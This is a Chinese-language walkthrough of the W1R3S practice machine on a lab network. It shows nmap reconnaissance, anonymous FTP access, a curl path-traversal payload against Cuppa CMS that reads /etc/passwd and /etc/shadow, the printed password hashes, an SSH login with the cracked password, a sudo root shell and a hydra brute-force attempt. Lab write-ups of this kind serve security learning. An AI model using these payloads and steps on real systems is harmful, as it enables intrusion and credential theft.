w1r3s 靶机学习

w1r3s 靶机学习

0x01 IP

C for command

kali ip

10.10.10.128

victim ip

10.10.10.129

0x02 开扫

C

sudo nmap -sn 10.10.10.0/24

-sn 多一步入侵和轻量级侦察 发送四项请求

-sL 列表扫描，多用于探测可用ip，广播扫描

--send-ip 时间戳请求，主机发现

C

sudo nmap -sT --min-rate 10000 -p- 10.10.10.129 -oA nmapscan/ports

默认参数-sS，只发送第一次握手包

-sT三次握手，更稳妥

--min-rate 速度

-p- 扫描1到65535端口

-oA 输出全格式报告

C

ls -liah nmapscan 

.gnmap 老格式，不推荐

.nmap 和终端一致的格式

.xml 不用多说

C

ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')

/为分隔符

s指定一行

d指定分隔符

C

sudo nmap -sT -sV -sC -O -p 21,22,80,3306 10.10.10.129 -oA nmapscan/detail

-sT tcp协议

-sV 探测服务版本

-sC 使用默认脚本扫描

-O 探测操作系统

C

sudo nmap -sU --top-ports 20 10.10.10.129 -oA nmapscan/udp

-sU UDP扫描

udp速度块

C

sudo nmap --script=vuln -p21,80,22,3306 10.10.10.129 -oA nmapscan/vuln

默认漏洞脚本扫描

detail结果比较重要，优先看

22端口 优先性较差

21,3306,80

扫描顺序：

端口扫面 确定开放端口

详细信息扫描 看细节

udp扫描

漏洞脚本扫描

0x03 开始渗透

C

ftp 10.10.10.129

username: anonymous

password:

C

binary

switching to binary mode

细节

C

prompt

关闭ftp中的交互提示

C

cd content
mget *.txt

m for multi

下载文件

C

quit

观察

C

cat *.txt 

new ftp server for w1r3s.inc

.inc for incorporation

leet speak

T

hash-identifier

识别

C

john md5.hash

破解01ec2d8fc11c493b25029fb1f47f39ce

C

echo -n 'This is not a password' | md5sum

看看加密一次是不是md5密文

看着像base 64

SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==

It is easy, but not that easy...

C

echo -n "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d

-d for decode

看看这段员工列表

The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

几个员工信息，全靠猜

C

mysql -h 10.10.10.129 -u root -p

数据库没连成

C

sudo gobuster dir -u http://10.10.10.129 --wordlist=/user/share/dirbuster/wordlists/dirctory-list-2.3-medium.txt

(有点小问题)

爆出一个目录

http://10.10.10.129/administrator/installation/

没收获

C

searchsploit cuppa cms

C

searchsploit cuppa -m 25971

-m for mirror

download as 25971.txt

看到利用路径

10.10.10.129/administrator/alerts/alertConfigField.php

cms

https://github.com/CuppaCMS/CuppaCMS

/alerts/alertConfigField.php

C

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://10.10.10.129/administrator/alerts/alertConfigField.php

x表示用户密码的哈希存储在shadow中

C

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://10.10.10.129/administrator/alerts/alertConfigField.php

shadow文件

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
sshd:*:17554:0:99999:7:::
ftp:*:17554:0:99999:7:::
mysql:!:17554:0:99999:7:::

留下这三个

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

看看w1r3s用户是什么权限

C

sudo ssh [email protected]

输入密码computer 成了

C

id
uname -a
sudo -l
sudo /bin/bash
whoami
id

试试ssh暴力破解

C

hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh//10.10.10.129 -t 4

不成，不知道为啥

推测hydra的版本问题

不过不推荐ssh爆破